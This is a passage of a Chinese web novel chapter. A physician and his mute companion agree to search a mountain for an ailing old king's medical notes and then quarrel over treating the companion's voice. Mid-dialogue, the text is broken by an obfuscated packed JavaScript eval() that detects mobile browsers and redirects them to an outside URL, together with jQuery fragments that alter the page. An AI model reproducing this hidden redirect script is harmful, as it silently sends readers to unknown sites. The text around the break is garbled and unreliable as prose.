乌云娜新找来的这个翻译官有些蹩脚，但胜在朴实认真，听姜别说话的时候十分专注，生怕漏掉任何一个字。


    姜别把来意如实讲明，乌云娜听翻译官坑坑巴巴地翻译完，显然有些讶异，说了一句什么，翻译官听完，对姜别说：“哈坦问，白天说不能治好吗？”


    看样子，哈坦的意思大概就是陛下一类的，姜别反应了一会，才意识到乌云娜这是在问他为什么之前说治不好。


    他沉吟片刻，还是问起了小老头口中那个手札。乌云娜见他打听这事，张口就要拒绝，姜别却赶在她说话前道：“如果真的有这么一本病历，还请鹿王陛下点头，让我和我的朋友进山寻来。”


    翻译官面露难色：“哈坦问，没有病历不能治？”


    姜别蹙眉：“恐怕巧妇难为无米之炊。”


    翻译官：“……无什么……吹？”


    “……”姜别道，“就是说，老鹿王的病实在棘手……很少见，不好治。”


    说着，他看向乌云娜：“鹿王陛下是有什么顾虑吗？”


    乌云娜沉默片刻，站起了身。走到窗边，从一个造型奇特的骨盒里拿出来一串兽牙穿连而成的胸坠，递给姜别。


    ——这上面的每一颗兽牙，都代表着一位逝去的扎纳武士。


    “你们是远方的人，”翻译官低声说，“哈坦怕你们也回不来了。”


    姜别看了看霍无归。


    “你想去？”霍无归用口型问他。


    姜别点了点头：“这病实在罕见，我跟着姜越这么多年，还从来没有见过，我想知道这是什么。”


    说这话时，他的目光透着一种说不出的光彩。霍无归看在眼里，弯了弯唇：“那就去。”


    见他们两个这就下定了决心，翻译官着急了：“不行不行，哈坦不让进山！”


    “无妨，这是我自己的决定，定不会让鹿王陛下为难，”姜别收回目光，又对乌云娜行了一道礼，“不过在下有一个不情之请，与我们同来的还有一个小友，眼下还在暗处藏着，若他现身，请将他好生安置。”


    乌云娜自然答应。


    她没想到这两个外乡人竟然愿意为了自己的爷爷卖命，一时不知作何反应，好半天才突然想起来什么，找出一卷兽皮绘卷，递给二人。


    姜别和霍无归二人各执左右，只见上面绘着一幅地图。


    左右两个弯月的尖角应该指的是银月山的两座山峰，中间画着一个古怪的记号，用图腾写着一些难以辨认的字迹，应该指的就是鹿族城寨。


    两座山的内部曲里拐弯画着一些线条，中心处又涂黑了，左边那座山上横出一条线，右边的则标记了一些小草的画符。


    姜别抿着唇凝眉端详，随口问：“你看得懂吗？”


    下一瞬，骨节分明的手指靠了过来，在那道横线上点了点。


    “入口。”


    他的声音很哑，姜别忍不住皱眉抬眼。“你和刚才一样就行，不必真的出声。”


    顿了顿，又道：“……这么久了还这样沙哑，该不会是那药出了什么问题。”


    霍无归笑了一下，立马换了唇语：“以你的血制成的药，怎么会出问题？”


    “那也不是这个说法……谁说是我的血做的了？”


    姜别意识到说漏嘴后才话锋一转，但为时已晚，霍无归唇角那丝笑意越来越深。姜别面上一热，仓促别开目光。


    不过，如果按照霍无归说的，这道横线代表外界通往这里的入口，那么这些曲里拐弯的线大概率就是山里的洞道，黑色的涂块应该就是山体内部的中空溶洞。


    老鹿王的别居就藏在这些曲里拐弯的溶道里。


    “不过，老鹿王为何要住在山里？”姜别问翻译官。


    翻译官磕磕巴巴地解释，原来老鹿王一生沉迷医学，老了之后便禅位给了自己的孙女。


    他从年轻时便在山里寻到了一处绝佳之处，在那里开采了一片药田，之后便一直住在那里，除去重大决策之外几乎不回城寨，所有的事务都交给了族中长老和年少的乌云娜。


    他和乌云娜的祖孙关系很亲密，他很疼爱这个聪明的孙女，每次回来都会带来山里的野花，山顶的雪果，还有各种有趣的故事。他的智慧无人能及，乌云娜崇拜他，仰望他，所以在他病来如山倒之后才如此执着治好他。


    姜别听罢，虽然很不想，却还是委婉地说：“如果找不到手札，又或者在下医术有限，无法治好老鹿王……”


    乌云娜看着姜别和霍无归，轻轻摇了摇头。


    “哈坦说，没关系。”


    年轻的鹿王站在窗下，瘦削又修长的身影利落坚强，眼中的希冀被坚毅取而代之。


    “如果你们能治好，哈坦答应给你们鹿神的恩赐。”


    “鹿神的恩赐是什么？”


    “就是……”翻译官也说不上来。


    姜别没纠结这个，他没有还未成事先谈庆功的习惯：“还不是说这个的时候，等真的药到病除了，在下一定让鹿王陛下好好出一次血。”


    乌云娜笑了，点了点头。


    这事就这么约定好了。


    从乌云娜那里出来，姜别和霍无归并肩往回走。


    城寨中夜色皎洁，四周静谧，只能听到风吹过鹿角装饰的轻微碰撞声。


    姜别本来在想老鹿王的事，手突然被身旁人捉了去，在掌心写道：“你不必有压力，生死有命。”


    姜别一怔，轻轻笑了一声：“谁说我有压力了？我是在想，什么样的病会有老鹿王那样的脉象，还有白天那个小老头，我总觉得他大有古怪，恐怕留在这里是别有用心。”


    霍无归也笑，问他：“若治好老鹿王，你打算要什么奖励？”


    “那还用说？”姜别挑眉，“自然是那片药田。”


    霍无归慢条斯理写：“狮子大开口。”


    姜别斜了他一眼：“你胳膊肘往外拐。”


    “曹炎贿赂我时许我药盟盟主之位，我都没有丝毫动心，区区一个药田，对于鹿王来说应该不在话下。”


    霍无归笑了，“你言之有理。”


    姜别轻哼一声：“非常有理。”


    霍无归很喜欢这样的姜别，他垂眼含笑，借着月色的遮掩，肆无忌惮地看着姜别，一边捉着他的手，又一笔一划地写着什么。


    姜别落眼去看，看着看着，心思突然转了个弯。


    他突然想，如果有一天霍无归完全恢复了声音，他或许就不会像现在这样在自己掌心写字了。


    这个想法很快地从脑海里闪过去，霍无归写完之后，姜别还没反应过来他写的什么。


    当最近他们之间默契渐深之后，这种写一遍反应不过来的情况越来越少了。


    不过霍无归还是耐心地开始写第二遍，手指刚落在掌心，却被突兀地握住。


    “你要不……


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188003|185342||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    别治嗓子了吧？“


    霍无归的视线从被握住的手指移向了姜别那张清俊的脸。


    意识到自己说错了话，姜别迅速松开手，转身就走。然而霍无归人高腿长，姜别步子还没迈开，霍无归就已经挡在了他的身前。


    “为什么不治了？”


    霍无归用口型问他。


    他眉间轻微皱着，姜别便解释道：“没有不让你治，只是提议而已，因为我感觉你就像现在这样也没什么不方便，又何必大费周章？”


    他越说，霍无归双眉之间的沟壑越深，姜别往常最擅长圆谎，此时也一时语塞，任凭脑子转得飞快，也没想出一个高明的借口。


    “算了，你当我没说吧。”


    姜别低下头，想绕开霍无归，可霍无归一跨步，又挡在了他的面前。


    “那，那就治。”姜别没法了，“你想治就治。”


    霍无归看了他一会，出声问道：“你是不是，嫌我恢复太慢，不愿——”


    “不是，”姜别立马说，“我没有嫌弃你恢复得太慢，你别多想。”


    霍无归却说：“这药，是你的血做的。”


    姜别终于意识到，霍无归好像误会了什么。


    他想解释，可刚张开口，霍无归好像看穿他下一句一定是谎言，于是抿着唇退后一步，转头就要走。


    姜别连忙拽着了他的手腕：“霍无归，真不是这样，你不要多想。”


    “那是什么？”霍无归问。


    “那是……”


    那是因为，我喜欢你在我手心写字。


    我想让你一直这样写下去。


    “……反正……反正不是你想的那样。”


    姜别低下头。


    在他看不见的地方，霍无归眼中的明月慢慢黯淡下去。


    他轻轻“嗯”了一声，好像是对姜别这番说辞全盘接受了，却在姜别松开手的瞬间转身离去，头也不回。


    -----


    没有什么时间给姜霍二人修整，第二天正午，他们便踏上了深入银月山腹地的路。


    乌云那虽然不愿意再让任何一个人有去无回，但念在二人人生地不熟，还是派了一队武士带他们进山，还命令他们一有危险一定迅速撤退，绝对不能逞强。


    扎纳武士们轻车熟路，自然健步如飞，霍无归虽然疲惫，却还是紧跟其后，姜别跟着霍无归，见他从始至终都没有回头看自己一眼，难免有些不满。


    他知道，霍无归大概是对昨晚自己的不坦诚而心有芥蒂。


    两个人沉默着走了一路，偶遇险路，霍无归下意识回身护了一下姜别，又迅速扭过脸去，一个字都不和他说。


    姜别气笑了：“霍无归，你怎么这么别扭？”


    霍无归听到后，脚步一顿，转过身来。


    为了跟上霍无归他们的速度，姜别本来走得很快，见霍无归停下脚步，他的速度也慢了下来，磨磨蹭蹭地走过去。


    “霍无归，你原来这么记仇。”


    姜别这句话是带着点嗔怪和戏谑的意思的，他了解霍无归，知道他其实不是个记仇的人，相反，霍无归坦荡又直率，对旁人如此，对姜别更是如此。


    放在平时，霍无归一定会说“没有”，那么姜别就会揶揄他两句，再借坡下驴，昨夜的那些不愉快也就这么算了。


    想到这里，姜别把手递出去，主动等着霍无归在上面写下“没有”二字。